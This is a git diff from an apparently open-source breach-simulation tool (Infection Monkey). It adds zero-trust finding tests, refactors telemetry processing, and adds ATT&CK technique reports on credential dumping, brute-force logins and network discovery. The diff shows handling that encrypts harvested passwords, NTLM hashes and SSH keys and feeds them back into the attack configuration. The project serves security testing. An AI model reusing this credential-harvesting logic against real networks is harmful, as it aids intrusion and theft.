self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1) + + AggregateFinding.create_or_add_to_existing(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 1) + self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2) + + def test_create_or_add_to_existing_2_tests_already_exist(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + test = TEST_MALICIOUS_ACTIVITY_TIMELINE + status = STATUS_VERIFY + event = Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK) + events = [event] + self.assertEquals(len(Finding.objects(test=test, status=status)), 0) + + Finding.save_finding(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 1) + self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1) + + AggregateFinding.create_or_add_to_existing(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 1) + self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2) + + Finding.save_finding(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 2) + + with self.assertRaises(AssertionError): + AggregateFinding.create_or_add_to_existing(test, status, events) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py new file mode 100644 index 000000000..c0742407d --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py @@ -0,0 +1,32 @@ +from mongoengine import ValidationError + +from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +class TestEvent(IslandTestCase): + def test_create_event(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + with self.assertRaises(ValidationError): + _ = Event.create_event( + title=None, # title required + message="bla bla", + event_type=EVENT_TYPE_MONKEY_NETWORK + ) + + with self.assertRaises(ValidationError): + _ = Event.create_event( + title="skjs", + message="bla bla", + event_type="Unknown" # Unknown event type + ) + + # Assert that nothing is raised. + _ = Event.create_event( + title="skjs", + message="bla bla", + event_type=EVENT_TYPE_MONKEY_NETWORK + ) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py new file mode 100644 index 000000000..88a33d5d3 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py @@ -0,0 +1,38 @@ +from mongoengine import ValidationError + +from common.data.zero_trust_consts import * +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +class TestFinding(IslandTestCase): + """ + Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and + won't work. + + Also, the working directory needs to be the working directory from which you usually run the island so the + server.json file is found and loaded. + """ + def test_save_finding_validation(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + with self.assertRaises(ValidationError): + _ = Finding.save_finding(test="bla bla", status=STATUS_FAILED, events=[]) + + with self.assertRaises(ValidationError): + _ = Finding.save_finding(test=TEST_SEGMENTATION, status="bla bla", events=[]) + + def test_save_finding_sanity(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0) + + event_example = Event.create_event( + title="Event Title", message="event message", event_type=EVENT_TYPE_MONKEY_NETWORK) + Finding.save_finding(test=TEST_SEGMENTATION, status=STATUS_FAILED, events=[event_example]) + + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 1) + self.assertEquals(len(Finding.objects(status=STATUS_FAILED)), 1) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py new file mode 100644 index 000000000..80e564a17 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py @@ -0,0 +1,52 @@ +from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.testing.IslandTestCase import IslandTestCase +from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding + + +class TestSegmentationFinding(IslandTestCase): + def test_create_or_add_to_existing_finding(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + first_segment = "1.1.1.0/24" + second_segment = "2.2.2.0-2.2.2.254" + third_segment = "3.3.3.3" + event = Event.create_event("bla", "bla", EVENT_TYPE_MONKEY_NETWORK) + + SegmentationFinding.create_or_add_to_existing_finding( + subnets=[first_segment, second_segment], + status=STATUS_FAILED, + segmentation_event=event + ) + + self.assertEquals(len(SegmentationFinding.objects()), 1) + self.assertEquals(len(SegmentationFinding.objects()[0].events), 1) + + SegmentationFinding.create_or_add_to_existing_finding( + # !!! REVERSE ORDER + subnets=[second_segment, first_segment], + status=STATUS_FAILED, + segmentation_event=event + ) + + self.assertEquals(len(SegmentationFinding.objects()), 1) + self.assertEquals(len(SegmentationFinding.objects()[0].events), 2) + + SegmentationFinding.create_or_add_to_existing_finding( + # !!! REVERSE ORDER + subnets=[first_segment, third_segment], + status=STATUS_FAILED, + segmentation_event=event + ) + + self.assertEquals(len(SegmentationFinding.objects()), 2) + + SegmentationFinding.create_or_add_to_existing_finding( + # !!! REVERSE ORDER + subnets=[second_segment, third_segment], + status=STATUS_FAILED, + segmentation_event=event + ) + + self.assertEquals(len(SegmentationFinding.objects()), 3) diff --git a/monkey/monkey_island/cc/resources/report.py b/monkey/monkey_island/cc/resources/report.py deleted file mode 100644 index 62a014fef..000000000 --- a/monkey/monkey_island/cc/resources/report.py +++ /dev/null @@ -1,13 +0,0 @@ -import flask_restful - -from monkey_island.cc.auth import jwt_required -from monkey_island.cc.services.report import ReportService - -__author__ = "itay.mizeretz" - - -class Report(flask_restful.Resource): - - @jwt_required() - def get(self): - return ReportService.get_report() diff --git a/monkey/monkey_island/cc/resources/reporting/__init__.py b/monkey/monkey_island/cc/resources/reporting/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py new file mode 100644 index 000000000..8c5286fee --- /dev/null +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -0,0 +1,41 @@ +import httplib + + +import flask_restful +from flask import jsonify + +from monkey_island.cc.auth import jwt_required +from monkey_island.cc.services.reporting.report import ReportService +from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService + +ZERO_TRUST_REPORT_TYPE = "zero_trust" +SECURITY_REPORT_TYPE = "security" +REPORT_TYPES = [SECURITY_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE] + +REPORT_DATA_PILLARS = "pillars" +REPORT_DATA_FINDINGS = "findings" +REPORT_DATA_PRINCIPLES_STATUS = "principles" + +__author__ = ["itay.mizeretz", "shay.nehmad"] + + +class Report(flask_restful.Resource): + + @jwt_required() + def get(self, report_type=SECURITY_REPORT_TYPE, report_data=None): + if report_type == SECURITY_REPORT_TYPE: + return ReportService.get_report() + elif report_type == ZERO_TRUST_REPORT_TYPE: + if report_data == REPORT_DATA_PILLARS: + return jsonify({ + "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(), + "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(), + "grades": ZeroTrustService.get_pillars_grades() + } + ) + elif report_data == REPORT_DATA_PRINCIPLES_STATUS: + return jsonify(ZeroTrustService.get_principles_status()) + elif report_data == REPORT_DATA_FINDINGS: + return jsonify(ZeroTrustService.get_all_findings()) + + flask_restful.abort(httplib.NOT_FOUND) diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 2af73a45e..e3b3e9854 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -7,7 +7,7 @@ from flask import request, make_response, jsonify from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.report import ReportService +from monkey_island.cc.services.reporting.report import ReportService from monkey_island.cc.services.attack.attack_report import AttackReportService from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.services.database import Database diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 279547dc1..dc6a7d512 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -1,6 +1,5 @@ import json import logging -import copy from datetime import datetime import dateutil @@ -9,12 +8,8 @@ from flask import request from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo -from monkey_island.cc.services import mimikatz_utils -from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService -from monkey_island.cc.encryptor import encryptor -from monkey_island.cc.services.wmi_handler import WMIHandler +from monkey_island.cc.services.telemetry.processing.processing import process_telemetry from monkey_island.cc.models.monkey import Monkey __author__ = 'Barak' @@ -48,21 +43,15 @@ class Telemetry(flask_restful.Resource): def post(self): telemetry_json = json.loads(request.data) telemetry_json['timestamp'] = datetime.now() + telemetry_json['command_control_channel'] = {'src': request.remote_addr, 'dst': request.host} # Monkey communicated, so it's alive. Update the TTL. Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']).renew_ttl() monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + NodeService.update_monkey_modify_time(monkey["_id"]) - try: - NodeService.update_monkey_modify_time(monkey["_id"]) - telem_category = telemetry_json.get('telem_category') - if telem_category in TELEM_PROCESS_DICT: - TELEM_PROCESS_DICT[telem_category](telemetry_json) - else: - logger.info('Got unknown type of telemetry: %s' % telem_category) - except Exception as ex: - logger.error("Exception caught while processing telemetry. Info: {}".format(ex.message), exc_info=True) + process_telemetry(telemetry_json) telem_id = mongo.db.telemetry.insert(telemetry_json) return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) @@ -89,199 +78,3 @@ class Telemetry(flask_restful.Resource): x['data']['credentials'][new_user] = x['data']['credentials'].pop(user) return objects - - @staticmethod - def get_edge_by_scan_or_exploit_telemetry(telemetry_json): - dst_ip = telemetry_json['data']['machine']['ip_addr'] - dst_domain_name = telemetry_json['data']['machine']['domain_name'] - src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) - dst_node = NodeService.get_monkey_by_ip(dst_ip) - if dst_node is None: - dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name) - - return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) - - @staticmethod - def process_tunnel_telemetry(telemetry_json): - monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] - if telemetry_json['data']['proxy'] is not None: - tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") - NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip) - else: - NodeService.unset_all_monkey_tunnels(monkey_id) - - @staticmethod - def process_state_telemetry(telemetry_json): - monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) - if telemetry_json['data']['done']: - NodeService.set_monkey_dead(monkey, True) - else: - NodeService.set_monkey_dead(monkey, False) - - @staticmethod - def process_exploit_telemetry(telemetry_json): - edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json) - Telemetry.encrypt_exploit_creds(telemetry_json) - telemetry_json['data']['info']['started'] = dateutil.parser.parse(telemetry_json['data']['info']['started']) - telemetry_json['data']['info']['finished'] = dateutil.parser.parse(telemetry_json['data']['info']['finished']) - - new_exploit = copy.deepcopy(telemetry_json['data']) - - new_exploit.pop('machine') - new_exploit['timestamp'] = telemetry_json['timestamp'] - - mongo.db.edge.update( - {'_id': edge['_id']}, - {'$push': {'exploits': new_exploit}} - ) - if new_exploit['result']: - EdgeService.set_edge_exploited(edge) - - for attempt in telemetry_json['data']['attempts']: - if attempt['result']: - found_creds = {'user': attempt['user']} - for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']: - if len(attempt[field]) != 0: - found_creds[field] = attempt[field] - NodeService.add_credentials_to_node(edge['to'], found_creds) - - @staticmethod - def process_scan_telemetry(telemetry_json): - edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json) - data = copy.deepcopy(telemetry_json['data']['machine']) - ip_address = data.pop("ip_addr") - domain_name = data.pop("domain_name") - new_scan = \ - { - "timestamp": telemetry_json["timestamp"], - "data": data - } - mongo.db.edge.update( - {"_id": edge["_id"]}, - {"$push": {"scans": new_scan}, - "$set": {"ip_address": ip_address, 'domain_name': domain_name}} - ) - - node = mongo.db.node.find_one({"_id": edge["to"]}) - if node is not None: - scan_os = new_scan["data"]["os"] - if "type" in scan_os: - mongo.db.node.update({"_id": node["_id"]}, - {"$set": {"os.type": scan_os["type"]}}, - upsert=False) - if "version" in scan_os: - mongo.db.node.update({"_id": node["_id"]}, - {"$set": {"os.version": scan_os["version"]}}, - upsert=False) - - @staticmethod - def process_system_info_telemetry(telemetry_json): - users_secrets = {} - monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') - if 'ssh_info' in telemetry_json['data']: - ssh_info = telemetry_json['data']['ssh_info'] - Telemetry.encrypt_system_info_ssh_keys(ssh_info) - if telemetry_json['data']['network_info']['networks']: - # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry - Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) - Telemetry.add_system_info_ssh_keys_to_config(ssh_info) - if 'credentials' in telemetry_json['data']: - creds = telemetry_json['data']['credentials'] - Telemetry.encrypt_system_info_creds(creds) - Telemetry.add_system_info_creds_to_config(creds) - Telemetry.replace_user_dot_with_comma(creds) - if 'mimikatz' in telemetry_json['data']: - users_secrets = mimikatz_utils.MimikatzSecrets. \ - extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) - if 'wmi' in telemetry_json['data']: - wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) - wmi_handler.process_and_handle_wmi_info() - if 'aws' in telemetry_json['data']: - if 'instance_id' in telemetry_json['data']['aws']: - mongo.db.monkey.update_one({'_id': monkey_id}, - {'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}}) - - @staticmethod - def add_ip_to_ssh_keys(ip, ssh_info): - for key in ssh_info: - key['ip'] = ip['addr'] - - @staticmethod - def process_trace_telemetry(telemetry_json): - # Nothing to do - return - - @staticmethod - def replace_user_dot_with_comma(creds): - for user in creds: - if -1 != user.find('.'): - new_user = user.replace('.', ',') - creds[new_user] = creds.pop(user) - - @staticmethod - def encrypt_system_info_creds(creds): - for user in creds: - for field in ['password', 'lm_hash', 'ntlm_hash']: - if field in creds[user]: - # this encoding is because we might run into passwords which are not pure ASCII - creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) - - @staticmethod - def encrypt_system_info_ssh_keys(ssh_info): - for idx, user in enumerate(ssh_info): - for field in ['public_key', 'private_key', 'known_hosts']: - if ssh_info[idx][field]: - ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) - - @staticmethod - def add_system_info_creds_to_config(creds): - for user in creds: - ConfigService.creds_add_username(user) - if 'password' in creds[user]: - ConfigService.creds_add_password(creds[user]['password']) - if 'lm_hash' in creds[user]: - ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) - if 'ntlm_hash' in creds[user]: - ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) - - @staticmethod - def add_system_info_ssh_keys_to_config(ssh_info): - for user in ssh_info: - ConfigService.creds_add_username(user['name']) - # Public key is useless without private key - if user['public_key'] and user['private_key']: - ConfigService.ssh_add_keys(user['public_key'], user['private_key'], - user['name'], user['ip']) - - @staticmethod - def encrypt_exploit_creds(telemetry_json): - attempts = telemetry_json['data']['attempts'] - for i in range(len(attempts)): - for field in ['password', 'lm_hash', 'ntlm_hash']: - credential = attempts[i][field] - if len(credential) > 0: - attempts[i][field] = encryptor.enc(credential.encode('utf-8')) - - @staticmethod - def process_post_breach_telemetry(telemetry_json): - mongo.db.monkey.update( - {'guid': telemetry_json['monkey_guid']}, - {'$push': {'pba_results': telemetry_json['data']}}) - - @staticmethod - def process_attack_telemetry(telemetry_json): - # No processing required - pass - - -TELEM_PROCESS_DICT = \ - { - 'tunnel': Telemetry.process_tunnel_telemetry, - 'state': Telemetry.process_state_telemetry, - 'exploit': Telemetry.process_exploit_telemetry, - 'scan': Telemetry.process_scan_telemetry, - 'system_info': Telemetry.process_system_info_telemetry, - 'trace': Telemetry.process_trace_telemetry, - 'post_breach': Telemetry.process_post_breach_telemetry, - 'attack': Telemetry.process_attack_telemetry - } diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 89a384e9d..92184c1c5 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,7 +1,9 @@ import logging + from monkey_island.cc.models import Monkey -from monkey_island.cc.services.attack.technique_reports \ - import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082, T1145, T1065 +from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 +from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -19,7 +21,22 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1086': T1086.T1086, 'T1082': T1082.T1082, 'T1145': T1145.T1145, - 'T1065': T1065.T1065} + 'T1065': T1065.T1065, + 'T1105': T1105.T1105, + 'T1035': T1035.T1035, + 'T1129': T1129.T1129, + 'T1106': T1106.T1106, + 'T1107': T1107.T1107, + 'T1188': T1188.T1188, + 'T1090': T1090.T1090, + 'T1041': T1041.T1041, + 'T1222': T1222.T1222, + 'T1005': T1005.T1005, + 'T1018': T1018.T1018, + 'T1016': T1016.T1016, + 'T1021': T1021.T1021, + 'T1064': T1064.T1064 + } REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index f2ef0dceb..c75678fdc 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -40,6 +40,23 @@ SCHEMA = { "necessary": False, "description": "Pass the hash (PtH) is a method of authenticating as a user without " "having access to the user's cleartext password." + }, + "T1105": { + "title": "T1105 Remote file copy", + "type": "bool", + "value": True, + "necessary": True, + "description": "Files may be copied from one system to another to stage " + "adversary tools or other files over the course of an operation." + }, + "T1021": { + "title": "T1021 Remote services", + "type": "bool", + "value": True, + "necessary": False, + "depends_on": ["T1110"], + "description": "An adversary may use Valid Accounts to log into a service" + " specifically designed to accept remote connections." } } }, @@ -54,7 +71,7 @@ SCHEMA = { "necessary": False, "description": "Adversaries may use brute force techniques to attempt access to accounts " "when passwords are unknown or when password hashes are obtained.", - "depends_on": ["T1210"] + "depends_on": ["T1210", "T1021"] }, "T1003": { "title": "T1003 Credential dumping", @@ -91,6 +108,22 @@ SCHEMA = { "necessary": True, "description": "Adversaries may abuse BITS to download, execute, " "and even clean up after running malicious code." + }, + "T1107": { + "title": "T1107 File Deletion", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may remove files over the course of an intrusion " + "to keep their footprint low or remove them at the end as part " + "of the post-intrusion cleanup process." + }, + "T1222": { + "title": "T1222 File permissions modification", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may modify file permissions/attributes to evade intended DACLs." } } }, @@ -98,6 +131,33 @@ SCHEMA = { "title": "Execution", "type": "object", "properties": { + "T1035": { + "title": "T1035 Service execution", + "type": "bool", + "value": True, + "necessary": False, + "description": "Adversaries may execute a binary, command, or script via a method " + "that interacts with Windows services, such as the Service Control Manager.", + "depends_on": ["T1210"] + }, + "T1129": { + "title": "T1129 Execution through module load", + "type": "bool", + "value": True, + "necessary": False, + "description": "The Windows module loader can be instructed to load DLLs from arbitrary " + "local paths and arbitrary Universal Naming Convention (UNC) network paths.", + "depends_on": ["T1078", "T1003"] + }, + "T1106": { + "title": "T1106 Execution through API", + "type": "bool", + "value": True, + "necessary": False, + "description": "Adversary tools may directly use the Windows application " + "programming interface (API) to execute binaries.", + "depends_on": ["T1210"] + }, "T1059": { "title": "T1059 Command line interface", "type": "bool", @@ -113,6 +173,14 @@ SCHEMA = { "necessary": True, "description": "Adversaries can use PowerShell to perform a number of actions," " including discovery of information and execution of code.", + }, + "T1064": { + "title": "T1064 Scripting", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may use scripts to aid in operations and " + "perform multiple actions that would otherwise be manual.", } } }, @@ -125,9 +193,43 @@ SCHEMA = { "type": "bool", "value": True, "necessary": False, + "depends_on": ["T1016", "T1005"], "description": "An adversary may attempt to get detailed information about the " "operating system and hardware, including version, patches, hotfixes, " "service packs, and architecture." + }, + "T1018": { + "title": "T1018 Remote System Discovery", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries will likely attempt to get a listing of other systems by IP address, " + "hostname, or other logical identifier on a network for lateral movement." + }, + "T1016": { + "title": "T1016 System network configuration discovery", + "type": "bool", + "value": True, + "necessary": False, + "depends_on": ["T1005", "T1082"], + "description": "Adversaries will likely look for details about the network configuration " + "and settings of systems they access or through information discovery" + " of remote systems." + } + } + }, + "collection": { + "title": "Collection", + "type": "object", + "properties": { + "T1005": { + "title": "T1005 Data from local system", + "type": "bool", + "value": True, + "necessary": False, + "depends_on": ["T1016", "T1082"], + "description": "Sensitive data can be collected from local system sources, such as the file system " + "or databases of information residing on the system prior to Exfiltration." } } }, @@ -142,8 +244,37 @@ SCHEMA = { "necessary": True, "description": "Adversaries may conduct C2 communications over a non-standard " "port to bypass proxies and firewalls that have been improperly configured." + }, + "T1090": { + "title": "T1090 Connection proxy", + "type": "bool", + "value": True, + "necessary": True, + "description": "A connection proxy is used to direct network traffic between systems " + "or act as an intermediary for network communications." + }, + "T1188": { + "title": "T1188 Multi-hop proxy", + "type": "bool", + "value": True, + "necessary": True, + "description": "To disguise the source of malicious traffic, " + "adversaries may chain together multiple proxies." } } }, + "exfiltration": { + "title": "Exfiltration", + "type": "object", + "properties": { + "T1041": { + "title": "T1041 Exfiltration Over Command and Control Channel", + "type": "bool", + "value": True, + "necessary": True, + "description": "Data exfiltration is performed over the Command and Control channel." + } + } + } } } diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index a92758cbc..2b49f264d 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -12,16 +12,16 @@ class T1003(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully obtained some credentials from systems on the network." - query = {'telem_category': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}}, - # $gt: {} checks if field is not an empty object - {'data.credentials': {'$gt': {}}}]} + query = {'telem_category': 'system_info', '$and': [{'data.credentials': {'$exists': True}}, + # $gt: {} checks if field is not an empty object + {'data.credentials': {'$gt': {}}}]} @staticmethod def get_report_data(): data = {'title': T1003.technique_title()} if mongo.db.telemetry.count_documents(T1003.query): - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1003.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py new file mode 100644 index 000000000..b84fe4a6f --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py @@ -0,0 +1,34 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1005(AttackTechnique): + + tech_id = "T1005" + unscanned_msg = "Monkey didn't gather any sensitive data from local system." + scanned_msg = "" + used_msg = "Monkey successfully gathered sensitive data from local system." + + query = [{'$match': {'telem_category': 'attack', + 'data.technique': tech_id}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'gathered_data_type': '$data.gathered_data_type', + 'info': '$data.info'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'gathered_data_type': '$gathered_data_type', 'info': '$info'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] + + @staticmethod + def get_report_data(): + data = T1005.get_tech_base_data() + data.update({'collected_data': list(mongo.db.telemetry.aggregate(T1005.query))}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py new file mode 100644 index 000000000..43d7c42b0 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py @@ -0,0 +1,35 @@ +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1016(AttackTechnique): + + tech_id = "T1016" + unscanned_msg = "Monkey didn't gather network configurations." + scanned_msg = "" + used_msg = "Monkey gathered network configurations on systems in the network." + + query = [{'$match': {'telem_category': 'system_info'}}, + {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, + 'networks': '$data.network_info.networks', + 'netstat': '$data.network_info.netstat'}}, + {'$addFields': {'_id': 0, + 'netstat': 0, + 'networks': 0, + 'info': [ + {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$netstat', {}]}]}, + 'name': {'$literal': 'Network connections (netstat)'}}, + {'used': {'$and': [{'$ifNull': ['$networks', False]}, {'$gt': ['$networks', {}]}]}, + 'name': {'$literal': 'Network interface info'}}, + ]}}] + + @staticmethod + def get_report_data(): + network_info = list(mongo.db.telemetry.aggregate(T1016.query)) + status = ScanStatus.USED.value if network_info else ScanStatus.UNSCANNED.value + data = T1016.get_base_data_by_status(status) + data.update({'network_info': network_info}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py new file mode 100644 index 000000000..a955f6cc9 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py @@ -0,0 +1,39 @@ +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1018(AttackTechnique): + + tech_id = "T1018" + unscanned_msg = "Monkey didn't find any machines on the network." + scanned_msg = "" + used_msg = "Monkey found machines on the network." + + query = [{'$match': {'telem_category': 'scan'}}, + {'$sort': {'timestamp': 1}}, + {'$group': {'_id': {'monkey_guid': '$monkey_guid'}, + 'machines': {'$addToSet': '$data.machine'}, + 'started': {'$first': '$timestamp'}, + 'finished': {'$last': '$timestamp'}}}, + {'$lookup': {'from': 'monkey', + 'localField': '_id.monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey_tmp'}}, + {'$addFields': {'_id': 0, 'monkey_tmp': {'$arrayElemAt': ['$monkey_tmp', 0]}}}, + {'$addFields': {'monkey': {'hostname': '$monkey_tmp.hostname', + 'ips': '$monkey_tmp.ip_addresses'}, + 'monkey_tmp': 0}}] + + @staticmethod + def get_report_data(): + scan_info = list(mongo.db.telemetry.aggregate(T1018.query)) + if scan_info: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1018.get_base_data_by_status(status) + data.update({'scan_info': scan_info}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py new file mode 100644 index 000000000..d22583359 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -0,0 +1,51 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds + + +__author__ = "VakarisZ" + + +class T1021(AttackTechnique): + tech_id = "T1021" + unscanned_msg = "Monkey didn't try to login to any remote services." + scanned_msg = "Monkey tried to login to remote services with valid credentials, but failed." + used_msg = "Monkey successfully logged into remote services on the network." + + # Gets data about brute force attempts + query = [{'$match': {'telem_category': 'exploit', + 'data.attempts': {'$not': {'$size': 0}}}}, + {'$project': {'_id': 0, + 'machine': '$data.machine', + 'info': '$data.info', + 'attempt_cnt': {'$size': '$data.attempts'}, + 'attempts': {'$filter': {'input': '$data.attempts', + 'as': 'attempt', + 'cond': {'$eq': ['$$attempt.result', True]} + } + } + } + }] + + scanned_query = {'telem_category': 'exploit', + 'data.attempts': {'$elemMatch': {'result': True}}} + + @staticmethod + def get_report_data(): + attempts = [] + if mongo.db.telemetry.count_documents(T1021.scanned_query): + attempts = list(mongo.db.telemetry.aggregate(T1021.query)) + if attempts: + status = ScanStatus.USED.value + for result in attempts: + result['successful_creds'] = [] + for attempt in result['attempts']: + result['successful_creds'].append(parse_creds(attempt)) + else: + status = ScanStatus.SCANNED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1021.get_base_data_by_status(status) + data.update({'services': attempts}) + return data diff --git 